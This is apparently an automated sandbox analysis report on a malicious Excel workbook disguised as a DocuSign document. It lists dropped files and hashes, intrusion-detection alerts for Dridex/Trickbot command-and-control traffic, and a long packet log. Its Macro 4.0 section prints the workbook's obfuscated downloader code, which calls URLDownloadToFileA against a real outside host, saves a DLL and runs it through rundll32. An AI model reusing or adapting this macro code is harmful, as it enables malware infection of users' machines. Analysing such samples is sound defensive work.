C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	185
Entropy (8bit):	4.821642993109982
Encrypted:	false
SSDEEP:	3:oyBVomM0bcsoMWcWLBCuscbcsoMWcWLBCmM0bcsoMWcWLBCv:dj60wsoMWcW7wsoMWcWU0wsoMWcWs
MD5:	9F284AB634504C93260EB63F1A414C3A
SHA1:	F03FCF9CFEF86F22C32E39BEAE0757D031E6F00B
SHA-256:	30BA18CCB301C5BFC2FE06B8C4C00381179BCFC3900071DC13384EAAF98DBF93
SHA-512:	FD820B08C40FB5D1D5C6EC04E26671F9C8435A000E63140B7F816255BC0DA41EB4839CEAA616C89608CB28A91C17446FB8E62A6AF471CD52E64F3BD7229ECA69
Malicious:	false
Preview:	Desktop.LNK=0..[xls]..SecuriteInfo.com.Exploit.Siggen3.10350.15803.LNK=0..SecuriteInfo.com.Exploit.Siggen3.10350.15803.LNK=0..[xls]..SecuriteInfo.com.Exploit.Siggen3.10350.15803.LNK=0..

C:\Users\user\AppData\Roaming\QNetMonitor7737977537\SecurityPreloadState.txt Download File
Process:	C:\Windows\System32\wermgr.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	50552
Entropy (8bit):	4.708069223371663
Encrypted:	false
SSDEEP:	768:0jF6YZaub2HlXceGFcgRAGXxCveTUNbViEOr+UGuBNwfMZS8cC9j:0jARuqFXceCc1GXgvuUlVi3r+sbwA1V
MD5:	F4B78BE0BEA55BBD3C7FA0BE346507A2
SHA1:	17FD2B667D6383D8ADA52246FB38A8ABD0952403
SHA-256:	D1B6216EE15B7657AF17F4BBED25FCF6DEA262241814362A441F7E8247BB2D34
SHA-512:	2501BCA8D80708A6D4C0F1B505B82432F7CDC98DFC9B08EF7FA5825FFFE7EEE1E6E5E2C3BE242626EC832277A0AC1EB185FD74EF283F2340D69888F62396E339
Malicious:	false
Preview:	[uxhrbjl h]..vld qxtd=grpx jjn x bxjfn ulrxj bndh pjjxt x bzbjtp hvz djfzj m jffzj..xfffjxldnttp=vzjffbvf p nvb vr bl xprlh nbf bn p sr zbdjjb..vdlf=ivfx rflhdp zj zrdhhlz fjf p s vjzl x sd..wp jbfbj=ixf lplt fvnhp zv fp n zlzzb..mnbxvd=vvfzbrd xhzbz d xn rdth f wfr jd jjxtdn bz nxjjn e lvh fbnxhxdd bzj..vvrbl =jfd kvfbxln jvdt llz gdvzr lljfr xh vvtp jv nhr fzj jhnn bbft fz hht..sdpzjftbrn=fxltpdx hzbbfp dxhzbv..dhldbl wdnzf=oxx evn jdj bn xhpl xbn xldb x fjx lptrplx frfb czj y rtz vfpdp..hvbf p xhrfjrl=pdvzvl hxx o vjl vfbnxhd cfz j xh h j htjnv l nhtjnrbx lhtbrb lnz vfp mbv..fjrnvhx =frjv dpl dx idvz ntxxtdn zn d jfr mphfjb ndhl btxp wv vbpttxj rb..hrvzjp=ujx dxzpfz jtd h..avfzzl=bbnbnvll pbjjxh zr btxxbdv vz lt w i..s vbffbn=plbfzn ..vzlttxjd=hvj zzxnjvdp ptf id vzj m xtdnzn ppjfr i wxx tdnz zjtxp jv zlff..bwbdjtoos=s fcjzz fnpvd w wpdrxvaa qd n idk cj o isnn..a onlssobqysah=lhiqwe txop xr p wwe s ocjj njs wcjj fcrvpzuu q..fkq =unmxe bpd..hoxb pgklubxfa=cwjgmwr

C:\Users\user\AppData\Roaming\QNetMonitor7737977537\cn\aexsxmcq.txt Download File
Process:	C:\Windows\System32\wermgr.exe
File Type:	data
Category:	modified
Size (bytes):	832
Entropy (8bit):	7.70889643865104
Encrypted:	false
SSDEEP:	12:Gj/ry+qniE6gRtX0tfgPWc+QB3maZau7qO3FcFp5Cx2mKTBbpiKD9gBYpjHT4XI:A/ryVniE8qBWSau7JFqp5otKltiZB+cY
MD5:	79820EBE9603E6EF3D482B96D982B39D
SHA1:	0FDBF234BDB19A1B4145EA97BFD764ED26F3B5B3
SHA-256:	E9E0CA9B1C1CA402B62F4AE5C5D98EDB1D2EB261A1DE3B11F2370D96EC9850D3
SHA-512:	308172E4C89001555B5F69ABB81A7089F393F20E5EA04CB5B89A11E77331C2060A8B919D50C9590FE17ED7DA56B03D86E19095D56F29DECB225D36651E61F0B8
Malicious:	false
Preview:	..{..R.qG).F"...x..(...`$t.....K.m~.5........Y...#..K..A....V+I=..J.....RL-@....hm.9Z..M.f.....1-O.Eg.=..&.u.r..2.....%...$kN=....X.r...C(J.4r&.-/...\..f.....(.......MP...:.k.....Q.M.:2....q._.V..P.[....h....._.1.......1..k..?..A....K$cEd......0\|(..A.0..-\|.@'....L..i@.....2........ut..Pm.d..c#.',..8. t.&.)s...q....>&."Y....T&..R....&..y..<G..-.....d[JQ..............Q=K........].ou......8k....\|{XX...x..x.......A..}!...M...<>..K/.....s.8.."$......y..~S.-.\%./. .7$.\...p.].-..'.Br...S1r.....=...hx..'.u...`C...Gr.L.PZ..&ak..w..\|~.L&..}.&....k.7_..}O.2S....I".@.24.....7..!2......C.[.....49.0X.OD9..Kg...W.......xe1..6.\....m...8P..0$.G!.._tBG...?..'.X...0.m.i^DX...m...E]...h.T .U={..2A....~..V...`.K\|..a^.7......P.L...$-.e..#.7..r_.y.. B.8V]..c..z.....j....'.6.....o\|u=r...K.x

C:\Users\user\AppData\Roaming\QNetMonitor7737977537\en-EN\pwgrab64 Download File
Process:	C:\Windows\System32\wermgr.exe
File Type:	data
Category:	dropped
Size (bytes):	1113968
Entropy (8bit):	7.999826561917907
Encrypted:	true
SSDEEP:	24576:YQ1jA+zk2ngTUmbSildEgvZo1H5GG0u5Y4fKh4PODFRbl:YvmnfhilmP1MGrPfADPh
MD5:	4E3A8FE6D217EBC34D5F332F156862E7
SHA1:	D80C64AC318123E51E13D07198E254AF3E5205C9
SHA-256:	A1A50D2BB909AA82634C7FF5556CE816807105898A4EE211DA911CBA053A8E38
SHA-512:	F7910E467AA01B220BE757563E447F826BFAB858892EA3FF75305F80EDBD4AECDCC2226D2A60F2F9A60A8790C87D9BE83F9F56B585BD3DBA430B8BDB5B0F5A75
Malicious:	false
Preview:	b.P....Jqcf..G\.B..W.....!.n....C..,.]nX.yb9...\|D.d.o... ..r."..s.exb..m...eo....Z..v...5...H.=......x.`..{.~..a..&..f.j......;=@>....sg...P..V....H,./2..T.l...i..<Ab:..S...s.:in....w....40[.B.3#...K.j........U..#l...t..s..fFT...w..B....:2...>..{...SX...s..e..}..1z.n...rd.a.~....Y.{.HD.`...UT./.s..........D...d..N........).pQ.u.....{\|W.!....i..W....s.1..[.{@\5.<J;..B?5>\.g..Gc.............-..0.....c..]j&.m.}.]r....R...E..:.v.1t..5a#...,.L..A...........PD...[....z...A[.D....5.>.\|L.\|2...prp.{.X....sxJ$Rr..W.(.V...0.HZm..j`.......:....c..-N.wl-...d0@..DlS.N..7^..Kp.C)...?_d......NCj.....w..n..{&\|C..)..6/.L....DH.rsD..#..r.6.,X.`.....!.-e.e`....w......R!v0.8..."/...#.0.9...FA....i...O.p.^....p.knk.Z.=....Xv..N$s.!.[..C..(T,G7.....Q{.{.....9.Lq.U...._..jCB.:e.....d...4.#.. .j..m.......=..'...d.K4?%nl.E.xp..M..qe...]..i.yrB.A4....j$...R.sS...h'..$..W.]gw.r..w...@t.``....*3#-.....t..b..k.... ....[..Nb..-...<.+...;...........C.s..n.9..p..s.

C:\Users\user\BASE.BABAA Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4591104
Entropy (8bit):	5.0540147937501265
Encrypted:	false
SSDEEP:	49152:7SkyvIo/YMOZswCkQzvhtawebv5hW2/yF//4VPQw:NCetO//S9
MD5:	25056DF6D3546DE971EAFE5DA5F9AE44
SHA1:	179555B3D0391E45DF29E651B8ED0342D02FE88A
SHA-256:	AA7931E3E85D3C5BD6FC2052C38BEE389BFBA9281A8616DA3275149A689EC5EB
SHA-512:	8032A5BD9B07ACCC290B24FD2AFA299AFD12214026089665836FADE7282F0D217FFD79F5A3A12FD64E0E08D4F6FA0A04A8B036B4CDC1F95356B0BF43D6A80B50
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 6%
Joe Sandbox View:	Filename: SecuriteInfo.com.Exploit.Siggen3.10350.26515.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.Siggen3.10350.31033.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.1476.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.1181.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.21235.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.15875.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.21759.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.2804.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.1138.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.11266.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.18554.xls, Detection: malicious, Browse Filename: Sign-636.xls, Detection: malicious, Browse Filename: Sign-92793351_1597657581.xls, Detection: malicious, Browse Filename: Sign-979329054_1327186231.xls, Detection: malicious, Browse Filename: Sign-709986424_219667767.xls, Detection: malicious, Browse Filename: Sign-488964532_2104982999.xls, Detection: malicious, Browse Filename: Sign-707465831_1420670581.xls, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........y.K..K..K..#.+.K..#.+~K..#.+.K..;.+.K..;.+.K..#.+.K..K..K..;.+.K.N:.+.K.N:.+.K.N:..K.N:.+.K.Rich.K.*........................PE..L....s/`...........!.....rB..........}A.......B..............................`F...........@......................... .D.`.....D.<.....D.Xp...................@F.....`.D.p............................D.@.............B.X............................text....qB......rB................. ..`.rdata........B......vB.............@..@.data...8.....D.......D.............@....rsrc...Xp....D..r....D.............@..@.reloc.......@F.......E.............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\D3DE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Applesoft BASIC program data, first line number 16
Category:	dropped
Size (bytes):	177025
Entropy (8bit):	7.239977180684175
Encrypted:	false
SSDEEP:	3072:zccKoSsxzNDZLDZjlbR868O8KL5L+4iK2xEtjPOtioVjDGUU1qfDlaGGx+cL2QnX:4cKoSsxzNDZLDZjlbR868O8KL5L+4iKz
MD5:	D2474C75CDE3227EA704388E3780FAD8
SHA1:	A9D5EC8A96C8EE9C32F57F8AC5B1174F1890E037
SHA-256:	B2D82C42D488536A1BA10607DACE28B53476527C336B7A1A79BEA90B449D2716
SHA-512:	39CC09DCA7667A608DC64F6D42F2B1B3EC9E11FF5AD3604D0034AE9BE7C7FB8B860CE91B74C96E964D0C527FB93194EB71671295B8FA363B69B60237CECB7F70
Malicious:	false
Preview:	........g2.........................\.p.... B.....a.........=.............................................=.....i..9J.8.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......>...........C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...,...8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...h...8...........C.a.m.b.r.i.a.1.......<...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.............

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Feb 19 10:48:36 2021, Security: 0
Entropy (8bit):	7.195176543915214
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls
File size:	168960
MD5:	35ca616a3d685b7d1708eb901841879c
SHA1:	b5073681d9bc3885987ee74ec1325d96152c46f0
SHA256:	b9e1d6f26440468f142642382047529f94536f9601f4ffa70917c1b3ccac69e7
SHA512:	df7e00cb6d9558b65dbfda906eb5adc8d8a0f0a248d9d68ff93971e3021e3ccf756a544fda25f41189bff078966d3ab9c70660aa1dd7b295e1680dfc4cbec91f
SSDEEP:	3072:bScKoSsxzNDZLDZjlbR868O8KlVH3jiKq7uDphYHceXVhca+fMHLtyeGxcl8OUMz:OcKoSsxzNDZLDZjlbR868O8KlVH3jiKO
File Content Preview:	........................>.......................H...........................E...F...G..........................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Code Page:	1251
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2021-02-19 10:48:36
Creating Application:	Microsoft Excel
Security:	0

Document Summary
Document Code Page:	1251
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	917504

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.357299206868
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D o c u S i g n . . . . . D o c u S i g n . . . . . D o c u S i g n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 ec 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 ac 00 00 00 02 00 00 00 e3 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.247217286775
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . \| . # . . . @ . . . . . 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 157800

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	157800
Entropy:	7.46869820242
Base64 Encoded:	True
Data ASCII:	. . . . . . . . f 2 . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . i . . 9 J . 8 . . . . . . . X . @ . . . . . . . . . . . " . . . . . . .
Data Raw:	09 08 10 00 00 06 05 00 66 32 cd 07 c9 80 01 00 06 06 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

,,,,,,,,,"=RIGHT(""353454543rtertetr,DllRegister"",12)&V19",,,,"=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=EXEC(RIGHT(""KJHDFHURNVUTRSHYSTNLUURTHNBDZZLRDNYZru""&'DocuSign '!D139&"" ""&'DocuSign '!D141&T19,40))",,,,,,,,=HALT(),,,

"=FORMULA.FILL(A144,DocuSign!V19)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=RIGHT(""YJDYJGYDJNUDTUXTNXYXNuRlMon"",6)",,,,,,,,,,,,,,,,,,,"=RIGHT(""JDHNLTVJRBNZXKHTFHNMXTFUXTownloadToFileA"",14)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=REGISTER(D134,""URLD""&D135,""JJCC""&A146,""YUTVUBSRNYTMYM"",,1,9)",,,,,,,,,,,,,,,,,,,http://"=YUTVUBSRNYTMYM(0,T137&D144&E144&E145&E146&E147,D141,0,0)",,,,,,,,,,,,,,,,,,,,,,"=RIGHT(""hLKUYFBGVESLTNZBRHYMHYRZndll32"",6)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=RIGHT(""XCVBDSTYFGYSDUZGKLRDHZTDJ..\BASE.BABAA"",13)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=GOTO(DocuSign!T3),,,,,,,,,,,,,,,,,,,Server,,,www.chipmania.it/mails/open,.,,,,,,,,,,,,,,,,,,,p,,,,,,,,,,,,,,,BB,,,,h,,,,,,,,,,,,,,,,,,,p,,,,,,,,,,,,,,,

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
02/20/21-02:04:01.483457	TCP	2404348	ET CNC Feodo Tracker Reported CnC Server TCP group 25	49166	443	192.168.2.22	94.140.114.136
02/20/21-02:05:28.834629	TCP	2404320	ET CNC Feodo Tracker Reported CnC Server TCP group 11	49170	443	192.168.2.22	193.8.194.96
02/20/21-02:05:29.234872	TCP	2021013	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)	443	49170	193.8.194.96	192.168.2.22
02/20/21-02:05:40.075193	TCP	2021013	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)	443	49173	193.8.194.96	192.168.2.22
02/20/21-02:05:41.044052	TCP	2404314	ET CNC Feodo Tracker Reported CnC Server TCP group 8	49174	447	192.168.2.22	185.109.54.99
02/20/21-02:05:50.281523	TCP	2021013	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)	443	49175	193.8.194.96	192.168.2.22
02/20/21-02:05:53.685562	TCP	2021013	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)	443	49177	193.8.194.96	192.168.2.22
02/20/21-02:05:56.148684	TCP	2021013	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)	443	49178	193.8.194.96	192.168.2.22
02/20/21-02:05:59.279274	TCP	2021013	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)	443	49179	193.8.194.96	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 20, 2021 02:03:50.544589043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.602483034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.602758884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.604053020 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.662072897 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.669842005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.669876099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.669924974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.669944048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.669965029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.669966936 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.669980049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.670006990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.670022011 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.670046091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.670056105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.670077085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.670098066 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.670103073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.670118093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.670128107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.670139074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.670171022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.670178890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.670217991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.675033092 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.729948044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.729988098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.730015993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.730036974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.730048895 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.730056047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.730058908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.730086088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.730088949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.730114937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.730123997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.730151892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.730195045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.730221033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.730232000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.730245113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.730273008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.730274916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.730278969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.730312109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.730382919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.730406046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.730429888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.730432034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.730441093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.730458021 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.730470896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.730494976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.730607986 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.730645895 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.730668068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.730705976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.730910063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.730937958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.730952024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.730962992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.730978966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.730988979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.730997086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.731021881 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.731597900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.789562941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.789591074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.789608002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.789625883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.789712906 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.790321112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.790347099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.790374041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.790395975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.790427923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.790455103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.790460110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.790466070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.790494919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.790502071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.790520906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.790539980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.790544987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.790564060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.790585041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.790586948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.790611982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.790632963 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.790641069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.790653944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.790673971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.790728092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.790755033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.790774107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.790790081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.790796995 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.790813923 CET	80	49165	185.81.0.78	192.168.2.22
